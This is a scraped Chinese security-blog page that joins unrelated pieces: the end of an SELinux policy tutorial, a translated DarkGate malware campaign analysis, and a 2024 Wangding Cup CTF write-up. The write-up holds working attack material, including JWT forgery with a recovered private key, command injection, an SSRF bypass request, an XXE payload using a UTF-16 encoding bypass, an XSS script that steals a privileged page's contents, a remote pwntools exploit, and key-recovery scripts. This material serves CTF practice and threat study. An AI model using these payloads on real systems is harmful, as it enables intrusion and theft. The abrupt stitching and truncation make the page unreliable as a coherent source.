roleattributesystem_rmybash_roles;
typemybash_t;
typemybash_exec_t;
application_domain(mybash_t,mybash_exec_t)
rolemybash_rolestypesmybash_t;
unconfined_run_to(mybash_t,mybash_exec_t)
#permissivemybash_t;
########################################
#
#mybashlocalpolicy
#
#allowmybash_tself:capability{chownsetgidsetuid};
#allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};
#allowmybash_tself:fifo_filemanage_fifo_file_perms;
#allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;
#domain_use_interactive_fds(mybash_t)
#files_read_etc_files(mybash_t)
#auth_use_nsswitch(mybash_t)
#logging_send_syslog_msg(mybash_t)通過刪除權限,我們有效地限制了/bin/bash 進程的SELinux 上下文。讓我們安裝更新的策略並嘗試運行新的自定義bash:
$sudo./mybash.sh
$./mybash但是,這只會在日誌中產生一行:
type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0不幸的是,我們的bash 進程缺乏啟動所需的權限。為了解決這個問題,讓我們使用命令生成權限audit2allow並更新我們的策略:
$echo'type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0'|audit2allow-r
require{
typemybash_t;
typeshell_exec_t;
classfileentrypoint;
}
#=============mybash_t==============
allowmybash_tshell_exec_t:fileentrypoint;接下來,讓我們將生成的行添加到mybash.te 文件的末尾並安裝更新的策略:
$sudo./mybash.sh
$./mybash
Segmentationfault即使進行這些修改後,bash 進程仍然無法啟動,從而導致分段錯誤。所以我們需要將這一行添加到audit.log中:
type=AVCmsg=audit(1683646840.208:301287):avc:denied{map}forpid=173620comm='bash'
HireHackking
從7月到9月,研究人員就已經觀察到DarkGate活動,趨勢科技檢測為TrojanSpy.AutoIt.DARKGATE.AA,攻擊者濫用即時通訊平台向受害者提供VBA加載器腳本。該腳本下載並執行由AutoIT腳本組成的第二階段有效負載,其中包含DarkGate惡意軟件代碼。目前還不清楚即時消息應用程序的原始帳戶是如何被攻擊的,但應該是通過地下論壇獲得的憑據。
DarkGate在過去的幾年裡並不是很活躍。然而,根據Truesec和MalwareBytes的報告,今年已經觀察到多個攻擊部署。通過對這次活動的密切監控,研究人員發現大多數DarkGate攻擊都發生在美洲地區,其次是亞洲、中東和非洲。

2023年8月至9月DarkGate活動的分佈
DarkGate活動背景DarkGate於2017年底首次被發現,被歸類為商品加載器。自2023年5月以來,DarkGate已經在俄語論壇開始流行,從那時起,使用惡意軟件的初始入口攻擊數量開始有所增加。 DarkGate具有各種功能,包括執行以下操作的功能:
執行發現命令(包括目錄遍歷);
自我更新,自我管理;
實現遠程訪問軟件,如遠程桌面協議或RDP、隱藏虛擬網絡計算或hVNC、AnyDesk;
啟用加密貨幣挖掘功能(啟動、停止和配置);
按鍵記錄(keylogging),Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動,獲得用戶輸入的信息,包括帳號、口令等;
從瀏覽器竊取信息;
權限升級。
DarkGate還使用一種名為AutoIt的windows專用自動化和腳本工具,來傳播和執行其惡意功能。儘管AutoIt是一個合法的工具,但它經常被其他惡意軟件家族濫用,用於規避防禦和增加混淆層。然而,從歷史上看,沒有一個著名的加載程序,如IcedID、Emotet或Qakbot被觀察到濫用它,這使得研究人員或安全團隊更容易將這些活動與惡意軟件活動聯繫起來。
將最新的DarkGate變體與2018年同樣濫用AutoIt的樣本進行比較,研究人員觀察到該樣本在初始階段和命令行中添加混淆方面似乎略有變化。然而,感染鏈基本上保持不變。
攻擊概述根據分析,攻擊者濫用兩個組織之間的信任關係來欺騙收件人執行附加的VBA腳本。訪問受害者的Skype帳戶允許攻擊者劫持現有的消息傳遞線程,並製作文件的命名約定,以與聊天歷史的上下文相關。

DarkGate感染鏈濫用Skype
受害者收到了來自被攻擊的Skype帳戶的消息,該消息包含一個欺騙性的VBS腳本,其文件名格式為:

帶有嵌入惡意附件冒充PDF文件的Skype消息
受害者執行VBA腳本後,首先創建一個

VBA腳本內容樣本;VBA腳本充當兩個文件的下載程序:一個是AutoIt可執行文件的合法副本,另一個是惡意編譯的.au3腳本
研究人員檢測到VBA腳本通過使用Windows本地wscript.exe執行加載。該腳本創建了

Trend Vision One對Skype VBA腳本執行的根本原因分析(RCA)
查看Trend Vision One的RCA,研究人員可以觀察到curl命令用於檢索合法的AutoIt應用程序和相關的惡意fIKXNA.au3(.au3表示AutoIt Version 3腳本文件)。 Curl是通過cmd.exe使用以下參數執行的,以從遠程託管服務器檢索兩個文件:

在另一個樣本中,觀察到攻擊通過Microsoft Teams消息發送鏈接。在該樣本中,該組織的系統允許受害者接收來自外部用戶的消息,這導致他們成為垃圾郵件的潛在目標。
Truesec的研究人員在9月初記錄了類似的DarkGate技術。雖然Skype程序將VBS文件偽裝成PDF文檔,但在Teams版本的攻擊中,攻擊者隱藏了一個.LNK文件。此外,濫用Teams的樣本來自一個未知的外部發件人。

將帶有惡意附件的消息分組
研究人員還觀察到VBA腳本的第三種傳遞方法,其中.LNK文件以壓縮文件的形式從創建者的SharePoint網站到達。受害者被引誘瀏覽給定的SharePoint網站並下載名為“Significant company changes September.zip”的文件。
.ZIP文件包含以下冒充PDF文檔的.LNK文件:
Company_Transformations.pdf.lnk
Revamped_Organizational_Structure.pdf.lnk
Position_Guidelines.pdf.lnk
Fresh_Mission_and_Core_Values.pdf.lnk
Employees_Affected_by_Transition.pdf.lnk使用條件執行,只有在上一個命令失敗時,才會執行附帶的命令。LNK文件包含以下命令:

成功後,將下載並執行loaderVBA腳本(hm3.vbs)。 VBA腳本將繼續從System32目錄複製並將curl.exe重命名為“

Trend Vision One RCA使用.LNK文件作為初始入口DarkGateAU3腳本
下載的工件既包含AutoIt的合法副本,也包含惡意編譯的AutoIt腳本文件,其中包含DarkGate的惡意功能。在加載腳本之前,AU3文件首先執行以下檢查。如果不滿足以下任何一個條件,腳本將被終止:
確認%Program Files%存在時;
當掃描的用戶名不是“SYSTEM”時;
一旦環境檢查完成,程序就會搜索帶有'.au3'擴展來解密和執行DarkGate有效負載,如果無法加載. au3文件,程序將顯示一個錯誤消息框並終止執行。
成功執行.AU3文件後,該文件生成位於C:\ProgramFiles(x86)\.中的代理進程,這些進程包括iexplorer .exe、GoogleUpdateBroker.exe和Dell.D3.WinSvc.UILauncher.exe。它們被注入shellcode以在內存中執行DarkGate有效負載。
惡意軟件通過將隨機命名的LNK文件放入Windows用戶啟動文件夾來實現持久性,從而在每次系統啟動時自動執行該文件,執行路徑如下:
此外,執行將使用隨機生成的七字符字符串在Program Data目錄下的主機上創建一個文件夾來存儲日誌和配置數據。為了幫助調查DarkGate有效負載和進程,Telekom Security可以使用一個工具來轉儲配置文件。

.AU3腳本片段

提取配置
安裝後活動該攻擊被觀察到作為附加有效負載的下載程序。安裝DarkGate惡意軟件後,它會在
被釋放的文件被檢測為DarkGate或Remcos的變體,可能是作為加強攻擊者在受感染系統中的立腳點的一種手段。以下是研究人員為這些額外負載找到的一些樣本文件名:
Folkevognsrugbrd.exe
logbackup_0.exe
sdvbs.exe
Vaabenstyringssystem.exe
Sdvaners.exe
Dropper.exe

DarkGate惡意軟件釋放額外有效負載
總結在本示例中,攻擊者在實現其目標之前就發現並控制了攻擊。然而,研究人員注意到,鑑於之前的DarkGate,攻擊者的目標可能會有所不同,這取決於所使用的攻擊機構。
攻擊者可以利用這些有效負載用各種類型的惡意軟件感染系統,包括信息竊取、勒索軟件、惡意使用或濫用的遠程管理工具,以及加密貨幣挖礦工具。
在本文的樣本中,Skype應用程序被合法地用於與第三方供應商通信,使其更容易滲透或引誘用戶訪問惡意文件。攻擊者的最初目標只是在環境中獲得立足點,最終目標仍然是滲透整個環境,通過對購買或租用DarkGate變體的攻擊組織的分析,攻擊包含勒索和加密挖礦等。根據發現的樣本,研究人員初步判斷DarkGate與Black Basta勒索軟件組相關。
只要允許外部消息傳遞,或者不檢查通過受攻擊帳戶濫用信任關係,那麼就可以對任何即時消息傳遞(IM)應用程序執行這種初始輸入技術,向組織引入任何新的應用程序都應該伴隨著保護和限制該組織攻擊面的措施。
在本文的示例中,IM應用程序應該由組織控制,以執行諸如阻止外部域、控製附件以及實現掃描等規則,研究人員強烈建議使用多因素身份驗證(MFA)來保護應用程序(包括IM應用程序),以防止有效憑據被盜取。
應用程序允許列表是一種很好的防禦機制,可以確保最終用戶只能訪問和執行某些應用程序。
HireHackking

2024第四届网鼎杯部分赛组wp

一、青龙组WEB
web1
开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的
这边先伪造jwt,是国外的原题
CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup
先生成两个token,然后利用rsa_sign2n工具来生成公钥
  python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO
得到public key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----然后利用RsaCtfTool得到私钥

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----接着直接伪造jwt即可,成功伪造了用户名为admin
可以访问game路由使用功能,这里又是国外原题
AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog
利用emo表情构造出cd flag;p:|cat *
⭐直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0
那么直接伪造

然后就可以使用上传文件的功能,我们先审计一下这部分的源码
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])


if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)这里面80端口有个php服务,然后/upload路由可以上传文件到uplaods目录下,在view_uploads路由下可以查看,但是存在waf
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):这里必须包含这个域名,而且不能有127.0.0.1,那么这里可以用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制
POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit那么可以先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>iconv -f utf8 -t utf16 1.xml>3.xml
然后上传3.xml,再去读取,得到flag

web2
打开容器一个登录界面,随便输入账号密码可以进到漏洞界面
这里有一个发送给boss的功能,一眼xss
然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面
<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flagData = xmlhttp.responseText;
var flag1 = btoa(flagData);
var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp2.send("content=" + encodeURIComponent(flag1))
}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>
更新任务后,发送给boss

接着回到页面可以看到flag已经发过来了

PWN
PWN2

开始有一个登录的函数,然后只要拿到用户名和密码就可以进入

vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了

还有给了我们后门函数和/bin/sh字符串


完整exp
from pwn import *
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674\nc')
# pause()
sa('your msg:\n',pay)
# pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()
CRYPT
CRYPTO01

这题目参考领航杯(https://www.cnblogs.com/mumuhhh/p/17789591.html)
然后我们直接sage解密,我们只用替换我们直接的数据就可以

import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
# print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379
e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857
c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826
hint1 = 864467081468962738290 # p高位
hint2 = 939654974954806345061 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

然后我们就可以拿到d,之后进行解密就可以了


CRYPTO02

我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串

import gmpy2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii
import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591

# Calculate dA
s1_minus_s2 = (s1 - s2) % n
z1_minus_z2 = (z1 - z2) % n
r_inv = gmpy2.invert(r, n)
dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n

# Calculate key
key = sha256(long_to_bytes(dA)).digest()
encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be'
